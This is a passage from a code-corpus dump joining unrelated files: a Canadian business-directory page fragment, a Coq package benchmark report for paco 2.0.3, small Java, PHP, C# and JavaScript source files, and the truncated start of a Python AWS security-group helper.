class="col-md-7"> 332710 - Machine Shops </div> </div> <div class="row"> <div class="col-md-5"> <strong> Primary Business Activity: </strong> </div> <div class="col-md-7"> Manufacturer / Processor / Producer &nbsp; </div> </div> </section> </details> <details id="details-panel4"> <summary> Products, services and licensing </summary> <h2 class="wb-invisible"> Product / Service / Licensing </h2> <section class="container-fluid"> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> USINAGE <br> </div> </div> </section> </details> </div> </div> <div class="row"> <div class="col-md-12 text-right"> Last Update Date 2016-03-10 </div> </div> <!-- - Artifact ID: CBW - IMBS - CCC Search WAR - Group ID: ca.gc.ic.strategis.imbs.ccc.search - Version: 3.26 - Built-By: bamboo - Build Timestamp: 2017-03-02T21:29:28Z --> <!-- End Body Content --> <!-- Begin Body Foot --> <!-- End Body Foot --> <!-- END MAIN TABLE --> <!-- End body --> <!-- Begin footer --> <div class="row pagedetails"> <div class="col-sm-5 col-xs-12 datemod"> <dl id="wb-dtmd"> <dt class=" hidden-print">Date Modified:</dt> <dd class=" hidden-print"> <span><time>2017-03-02</time></span> </dd> </dl> </div> <div class="clear visible-xs"></div> <div class="col-sm-4 col-xs-6"> </div> <div class="col-sm-3 col-xs-6 text-right"> </div> <div class="clear visible-xs"></div> </div> </main> <footer role="contentinfo" id="wb-info"> <nav role="navigation" class="container wb-navcurr"> <h2 class="wb-inv">About government</h2> <!-- EPIC FOOTER BEGIN --> <!-- EPI-11638 Contact us --> <ul class="list-unstyled colcount-sm-2 colcount-md-3"> <li><a href="http://www.ic.gc.ca/eic/site/icgc.nsf/eng/h_07026.html#pageid=E048-H00000&amp;from=Industries">Contact us</a></li> <li><a href="https://www.canada.ca/en/government/dept.html">Departments and agencies</a></li> <li><a href="https://www.canada.ca/en/government/publicservice.html">Public service and military</a></li> <li><a href="https://www.canada.ca/en/news.html">News</a></li> <li><a href="https://www.canada.ca/en/government/system/laws.html">Treaties, laws and regulations</a></li> <li><a href="https://www.canada.ca/en/transparency/reporting.html">Government-wide reporting</a></li> <li><a href="http://pm.gc.ca/eng">Prime Minister</a></li> <li><a href="https://www.canada.ca/en/government/system.html">How government works</a></li> <li><a href="http://open.canada.ca/en/">Open government</a></li> </ul> </nav> <div class="brand"> <div class="container"> <div class="row"> <nav class="col-md-10 ftr-urlt-lnk"> <h2 class="wb-inv">About this site</h2> <ul> <li><a href="https://www.canada.ca/en/social.html">Social media</a></li> <li><a href="https://www.canada.ca/en/mobile.html">Mobile applications</a></li> <li><a href="http://www1.canada.ca/en/newsite.html">About Canada.ca</a></li> <li><a href="http://www.ic.gc.ca/eic/site/icgc.nsf/eng/h_07033.html">Terms and conditions</a></li> <li><a href="http://www.ic.gc.ca/eic/site/icgc.nsf/eng/h_07033.html#p1">Privacy</a></li> </ul> </nav> <div class="col-xs-6 visible-sm visible-xs tofpg"> <a href="#wb-cont">Top of Page <span class="glyphicon glyphicon-chevron-up"></span></a> </div> <div class="col-xs-6 col-md-2 text-right"> <object type="image/svg+xml" tabindex="-1" role="img" data="/utils/scripts/_WET_4-0/apps/themes-dist/gcweb/assets/wmms-blk.svg" aria-label="Symbol of the Government of Canada"></object> </div> </div> </div> </div> </footer> <!--[if gte IE 9 | !IE ]><!--> <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script> <script src="/utils/scripts/_WET_4-0/apps/themes-dist/gcweb/js/wet-boew.min.js"></script> <!--<![endif]--> <!--[if lt IE 9]> <script src="/utils/scripts/_WET_4-0/apps/themes-dist/gcweb/js/ie8-wet-boew2.min.js"></script> <![endif]--> <script src="/utils/scripts/_WET_4-0/apps/themes-dist/gcweb/js/theme.min.js"></script> <!-- EPI-10519 --> <span class="wb-sessto" data-wb-sessto='{"inactivity": 1800000, "reactionTime": 180000, "sessionalive": 1800000, "logouturl": "/app/ccc/srch/cccSrch.do?lang=eng&prtl=1"}'></span> <script src="/eic/home.nsf/js/jQuery.externalOpensInNewWindow.js"></script> <!-- EPI-11190 - Webtrends --> <script src="/eic/home.nsf/js/webtrends.js"></script> <script>var endTime = new Date();</script> <noscript> <div><img alt="" id="DCSIMG" width="1" height="1" src="//wt-sdc.ic.gc.ca/dcs6v67hwe0ei7wsv8g9fv50d_3k6i/njs.gif?dcsuri=/nojavascript&amp;WT.js=No&amp;WT.tv=9.4.0&amp;dcssip=www.ic.gc.ca"/></div> </noscript> <!-- /Webtrends --> <!-- JS deps --> <script src="/eic/home.nsf/js/jquery.imagesloaded.js"></script> <!-- EPI-11262 - Util JS --> <script src="/eic/home.nsf/js/_WET_4-0_utils_canada.min.js"></script> <!-- EPI-11383 --> <script src="/eic/home.nsf/js/jQuery.icValidationErrors.js"></script> <span style="display:none;" id='app-info' data-project-groupid='' data-project-artifactid='' data-project-version='' data-project-build-timestamp='' data-issue-tracking='' data-scm-sha1='' data-scm-sha1-abbrev='' data-scm-branch='' data-scm-commit-date=''></span> </body></html> <!-- End Footer --> <!-- - Artifact ID: CBW - IMBS - CCC Search WAR - Group ID: ca.gc.ic.strategis.imbs.ccc.search - Version: 3.26 - Built-By: bamboo - Build Timestamp: 2017-03-02T21:29:28Z -->
GoC-Spending/data-corporations
html/234567032346.html
HTML
mit
30,653
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>paco: 3 m 36 s 🏆</title> <link rel="shortcut icon" type="image/png" href="../../../../../favicon.png" /> <link href="../../../../../bootstrap.min.css" rel="stylesheet"> <link href="../../../../../bootstrap-custom.css" rel="stylesheet"> <link href="//maxcdn.bootstrapcdn.com/font-awesome/4.2.0/css/font-awesome.min.css" rel="stylesheet"> <script src="../../../../../moment.min.js"></script> <!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries --> <!-- WARNING: Respond.js doesn't work if you view the page via file:// --> <!--[if lt IE 9]> <script src="https://oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script> <script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script> <![endif]--> </head> <body> <div class="container"> <div class="navbar navbar-default" role="navigation"> <div class="container-fluid"> <div class="navbar-header"> <a class="navbar-brand" href="../../../../.."><i class="fa fa-lg fa-flag-checkered"></i> Coq bench</a> </div> <div id="navbar" class="collapse navbar-collapse"> <ul class="nav navbar-nav"> <li><a href="../..">clean / released</a></li> <li class="active"><a href="">8.9.0 / paco - 2.0.3</a></li> </ul> </div> </div> </div> <div class="article"> <div class="row"> <div class="col-md-12"> <a href="../..">« Up</a> <h1> paco <small> 2.0.3 <span class="label label-success">3 m 36 s 🏆</span> </small> </h1> <p>📅 <em><script>document.write(moment("2022-01-10 01:57:47 +0000", "YYYY-MM-DD HH:mm:ss Z").fromNow());</script> (2022-01-10 01:57:47 UTC)</em><p> <h2>Context</h2> <pre># Packages matching: installed # Name # Installed # Synopsis base-bigarray base base-num base Num library distributed with the OCaml compiler base-threads base base-unix base camlp5 7.14 Preprocessor-pretty-printer of OCaml conf-findutils 1 Virtual package relying on findutils conf-perl 1 Virtual package relying on perl coq 8.9.0 Formal proof management system num 0 The Num library for arbitrary-precision integer and rational arithmetic ocaml 4.04.2 The OCaml compiler (virtual package) ocaml-base-compiler 4.04.2 Official 4.04.2 release ocaml-config 1 OCaml Switch Configuration ocamlfind 1.9.1 A library manager for OCaml # opam file: opam-version: &quot;2.0&quot; maintainer: &quot;[email protected]&quot; version: &quot;2.0.3&quot; homepage: &quot;https://github.com/snu-sf/paco/&quot; dev-repo: &quot;git+https://github.com/snu-sf/paco.git&quot; bug-reports: &quot;https://github.com/snu-sf/paco/issues/&quot; authors: [ &quot;Chung-Kil Hur &lt;[email protected]&gt;&quot; &quot;Georg Neis &lt;[email protected]&gt;&quot; &quot;Derek Dreyer &lt;[email protected]&gt;&quot; &quot;Viktor Vafeiadis &lt;[email protected]&gt;&quot; ] license: &quot;BSD-3&quot; build: [ [make &quot;-C&quot; &quot;src&quot; &quot;all&quot; &quot;-j%{jobs}%&quot;] ] install: [ [make &quot;-C&quot; &quot;src&quot; &quot;-f&quot; &quot;Makefile.coq&quot; &quot;install&quot;] ] remove: [&quot;rm&quot; &quot;-r&quot; &quot;-f&quot; &quot;%{lib}%/coq/user-contrib/Paco&quot;] depends: [ &quot;ocaml&quot; &quot;coq&quot; {&gt;= &quot;8.6&quot; &amp; &lt; &quot;8.10&quot;} ] synopsis: &quot;Coq library implementing parameterized coinduction&quot; tags: [ &quot;date:2018-02-11&quot; &quot;category:Computer Science/Programming Languages/Formal Definitions and Theory&quot; &quot;category:Mathematics/Logic&quot; &quot;keyword:co-induction&quot; &quot;keyword:simulation&quot; &quot;keyword:parameterized greatest fixed point&quot; ] flags: light-uninstall url { src: &quot;https://github.com/snu-sf/paco/archive/v2.0.3.tar.gz&quot; checksum: &quot;md5=30705f61294a229215149a024060f06d&quot; } </pre> <h2>Lint</h2> <dl class="dl-horizontal"> <dt>Command</dt> <dd><code>true</code></dd> <dt>Return code</dt> <dd>0</dd> </dl> <h2>Dry install 🏜️</h2> <p>Dry install with the current Coq version:</p> <dl class="dl-horizontal"> <dt>Command</dt> <dd><code>opam install -y --show-action coq-paco.2.0.3 coq.8.9.0</code></dd> <dt>Return code</dt> <dd>0</dd> </dl> <p>Dry install without Coq/switch base, to test if the problem was incompatibility with the current Coq/OCaml version:</p> <dl class="dl-horizontal"> <dt>Command</dt> <dd><code>true</code></dd> <dt>Return code</dt> <dd>0</dd> </dl> <h2>Install dependencies</h2> <dl class="dl-horizontal"> <dt>Command</dt> <dd><code>opam list; echo; ulimit -Sv 4000000; timeout 4h opam install -y --deps-only coq-paco.2.0.3 coq.8.9.0</code></dd> <dt>Return code</dt> <dd>0</dd> <dt>Duration</dt> <dd>11 s</dd> </dl> <h2>Install 🚀</h2> <dl class="dl-horizontal"> <dt>Command</dt> <dd><code>opam list; echo; ulimit -Sv 16000000; timeout 4h opam install -y -v coq-paco.2.0.3 coq.8.9.0</code></dd> <dt>Return code</dt> <dd>0</dd> <dt>Duration</dt> <dd>3 m 36 s</dd> </dl> <h2>Installation size</h2> <p>Total: 13 M</p> <ul> <li>1 M <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco18_upto.vo</code></li> <li>1 M <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco17_upto.vo</code></li> <li>964 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco16_upto.vo</code></li> <li>817 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco15_upto.vo</code></li> <li>710 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco14_upto.vo</code></li> <li>611 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco13_upto.vo</code></li> <li>527 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco12_upto.vo</code></li> <li>457 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco11_upto.vo</code></li> <li>392 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco10_upto.vo</code></li> <li>334 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco9_upto.vo</code></li> <li>318 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/pacotac.vo</code></li> <li>281 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco8_upto.vo</code></li> <li>233 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco7_upto.vo</code></li> <li>228 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco18.vo</code></li> <li>213 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paconotation_internal.vo</code></li> <li>209 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco17.vo</code></li> <li>191 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco16.vo</code></li> <li>191 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco6_upto.vo</code></li> <li>174 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco15.vo</code></li> <li>158 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco14.vo</code></li> <li>154 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco5_upto.vo</code></li> <li>142 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco13.vo</code></li> <li>128 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco12.vo</code></li> <li>123 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco4_upto.vo</code></li> <li>115 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco11.vo</code></li> <li>114 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paconotation.vo</code></li> <li>113 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/examples.vo</code></li> <li>105 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paconotation.glob</code></li> <li>102 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco10.vo</code></li> <li>96 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco3_upto.vo</code></li> <li>92 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco18.glob</code></li> <li>90 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco9.vo</code></li> <li>84 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco17.glob</code></li> <li>80 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco18_upto.glob</code></li> <li>79 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco8.vo</code></li> <li>77 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco16.glob</code></li> <li>72 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco17_upto.glob</code></li> <li>72 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco2_upto.vo</code></li> <li>71 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/tutorial.vo</code></li> <li>70 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco15.glob</code></li> <li>69 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco7.vo</code></li> <li>66 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco16_upto.glob</code></li> <li>64 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco14.glob</code></li> <li>61 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paconotation_internal.glob</code></li> <li>60 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco15_upto.glob</code></li> <li>60 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco6.vo</code></li> <li>59 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco13.glob</code></li> <li>57 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/pacotac.v</code></li> <li>55 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco14_upto.glob</code></li> <li>54 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco12.glob</code></li> <li>54 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco1_upto.vo</code></li> <li>51 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco5.vo</code></li> <li>50 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco13_upto.glob</code></li> <li>50 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco11.glob</code></li> <li>46 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco12_upto.glob</code></li> <li>46 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco10.glob</code></li> <li>43 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco4.vo</code></li> <li>42 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco11_upto.glob</code></li> <li>41 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/pacotac.glob</code></li> <li>40 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco9.glob</code></li> <li>39 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco10_upto.glob</code></li> <li>38 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco0_upto.vo</code></li> <li>37 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco8.glob</code></li> <li>36 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco3.vo</code></li> <li>35 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco9_upto.glob</code></li> <li>35 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco7.glob</code></li> <li>32 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco8_upto.glob</code></li> <li>32 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco6.glob</code></li> <li>30 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco7_upto.glob</code></li> <li>30 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco2.vo</code></li> <li>30 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco5.glob</code></li> <li>28 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco6_upto.glob</code></li> <li>28 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco4.glob</code></li> <li>27 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco5_upto.glob</code></li> <li>26 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco3.glob</code></li> <li>26 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/tutorial.glob</code></li> <li>25 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco4_upto.glob</code></li> <li>24 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco1.vo</code></li> <li>24 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/tutorial.v</code></li> <li>24 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco3_upto.glob</code></li> <li>24 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco2.glob</code></li> <li>23 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco2_upto.glob</code></li> <li>22 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco1.glob</code></li> <li>22 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco1_upto.glob</code></li> <li>21 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco0_upto.glob</code></li> <li>21 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco0.glob</code></li> <li>19 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/examples.glob</code></li> <li>19 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paconotation.v</code></li> <li>19 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco0.vo</code></li> <li>18 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/pacon.vo</code></li> <li>17 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco18_upto.v</code></li> <li>16 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco18.v</code></li> <li>16 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco17_upto.v</code></li> <li>15 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco16_upto.v</code></li> <li>15 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco17.v</code></li> <li>15 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco15_upto.v</code></li> <li>14 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco16.v</code></li> <li>14 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/pacotacuser.vo</code></li> <li>14 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco14_upto.v</code></li> <li>14 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco13_upto.v</code></li> <li>13 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/hpattern.vo</code></li> <li>13 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco15.v</code></li> <li>13 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paconotation_internal.v</code></li> <li>13 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco12_upto.v</code></li> <li>13 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco14.v</code></li> <li>13 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco11_upto.v</code></li> <li>12 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco10_upto.v</code></li> <li>12 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco13.v</code></li> <li>12 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco9_upto.v</code></li> <li>11 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco8_upto.v</code></li> <li>11 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco12.v</code></li> <li>11 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco7_upto.v</code></li> <li>11 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco6_upto.v</code></li> <li>11 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/pacon.glob</code></li> <li>11 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco11.v</code></li> <li>10 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco5_upto.v</code></li> <li>10 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco4_upto.v</code></li> <li>10 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco3_upto.v</code></li> <li>10 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco10.v</code></li> <li>10 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco2_upto.v</code></li> <li>10 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco1_upto.v</code></li> <li>10 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco0_upto.v</code></li> <li>9 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco9.v</code></li> <li>9 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco8.v</code></li> <li>8 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/examples.v</code></li> <li>8 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco7.v</code></li> <li>8 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco6.v</code></li> <li>8 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco5.v</code></li> <li>7 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco4.v</code></li> <li>7 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco3.v</code></li> <li>7 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco2.v</code></li> <li>7 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco1.v</code></li> <li>7 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco0.v</code></li> <li>5 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco.vo</code></li> <li>4 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/hpattern.v</code></li> <li>4 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/pacon.v</code></li> <li>3 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/pacotacuser.v</code></li> <li>2 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/pacotacuser.glob</code></li> <li>1 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco.glob</code></li> <li>1 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/paco.v</code></li> <li>1 K <code>../ocaml-base-compiler.4.04.2/lib/coq/user-contrib/Paco/hpattern.glob</code></li> </ul> <h2>Uninstall 🧹</h2> <dl class="dl-horizontal"> <dt>Command</dt> <dd><code>opam remove -y coq-paco.2.0.3</code></dd> <dt>Return code</dt> <dd>0</dd> <dt>Missing removes</dt> <dd> none </dd> <dt>Wrong removes</dt> <dd> none </dd> </dl> </div> </div> </div> <hr/> <div class="footer"> <p class="text-center"> Sources are on <a href="https://github.com/coq-bench">GitHub</a> © Guillaume Claret 🐣 </p> </div> </div> <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script> <script src="../../../../../bootstrap.min.js"></script> </body> </html>
coq-bench/coq-bench.github.io
clean/Linux-x86_64-4.04.2-2.0.5/released/8.9.0/paco/2.0.3.html
HTML
mit
22,489
package com.swfarm.biz.product.dao.impl; import com.swfarm.biz.product.bo.SkuSaleMapping; import com.swfarm.biz.product.dao.SkuSaleMappingDao; import com.swfarm.pub.framework.dao.GenericDaoHibernateImpl; public class SkuSaleMappingDaoImpl extends GenericDaoHibernateImpl<SkuSaleMapping, Long> implements SkuSaleMappingDao { public SkuSaleMappingDaoImpl(Class<SkuSaleMapping> type) { super(type); } }
zhangqiang110/my4j
pms/src/main/java/com/swfarm/biz/product/dao/impl/SkuSaleMappingDaoImpl.java
Java
mit
419
<?php namespace AppBundle\Form; use Symfony\Component\Form\AbstractType; use Symfony\Component\Form\FormBuilderInterface; class ProfileFormType extends AbstractType { public function buildForm(FormBuilderInterface $builder, array $options) { $builder->add('name'); } public function getParent() { return 'FOS\UserBundle\Form\Type\ProfileFormType'; } public function getBlockPrefix() { return 'app_user_profile'; } // For Symfony 2.x public function getName() { return $this->getBlockPrefix(); } }
efalder413/PKMNBreeder
src/AppBundle/Form/ProfileFormType.php
PHP
mit
586
using Nethereum.Generators.Model; using Nethereum.Generators.Net; namespace Nethereum.Generator.Console.Models { public class ContractDefinition { public string ContractName { get; set; } public ContractABI Abi { get; set; } public string Bytecode { get; set; } public ContractDefinition(string abi) { Abi = new GeneratorModelABIDeserialiser().DeserialiseABI(abi); } } }
Nethereum/Nethereum
generators/Nethereum.Generator.Console/Models/ContractDefinition.cs
C#
mit
450
'use strict'; module.exports = require('./toPairsIn'); //# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIi4uLy4uLy4uL2NsaWVudC9saWIvbG9kYXNoL2VudHJpZXNJbi5qcyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiOztBQUFBLE9BQU8sT0FBUCxHQUFpQixRQUFRLGFBQVIsQ0FBakIiLCJmaWxlIjoiZW50cmllc0luLmpzIiwic291cmNlc0NvbnRlbnQiOlsibW9kdWxlLmV4cG9ydHMgPSByZXF1aXJlKCcuL3RvUGFpcnNJbicpO1xuIl19
justin-lai/hackd.in
compiled/client/lib/lodash/entriesIn.js
JavaScript
mit
394
""" -*- coding: utf-8 -*- """ from python2awscli import bin_aws from python2awscli.error import AWSNotFound, ParseError, AWSDuplicate from python2awscli import must class BaseSecurityGroup(object): def __init__(self, name, region, vpc, description, inbound=None, outbound=None): """ :param name: String, name of SG :param region: String, AWS region :param vpc: String, IP of the VPC this SG belongs to :param description: String :param inbound: List of dicts, IP Permissions that should exist :param outbound: List of dicts, IP Permissions that should exist """ self.id = None self.name = name self.region = region self.vpc = vpc self.description = description self.IpPermissions = [] self.IpPermissionsEgress = [] self.owner = None self.changed = False try: self._get() except AWSNotFound: self._create() self._merge_rules(must.be_list(inbound), self.IpPermissions) self._merge_rules(must.be_list(outbound), self.IpPermissionsEgress, egress=True) if self.changed: self._get() def _break_out(self, existing): """ Undo AWS's rule flattening so we can do simple 'if rule in existing' logic later. :param existing: List of SG rules as dicts. :return: List of SG rules as dicts. """ spool = list() for rule in existing: for ip in rule['IpRanges']: copy_of_rule = rule.copy() copy_of_rule['IpRanges'] = [ip] copy_of_rule['UserIdGroupPairs'] = [] spool.append(copy_of_rule) for group in rule['UserIdGroupPairs']: copy_of_rule = rule.copy() copy_of_rule['IpRanges'] = [] copy_of_rule['UserIdGroupPairs'] = [group] spool.append(copy_of_rule) return spool def _merge_rules(self, requested, active, egress=False): """ :param requested: List of dicts, IP Permissions 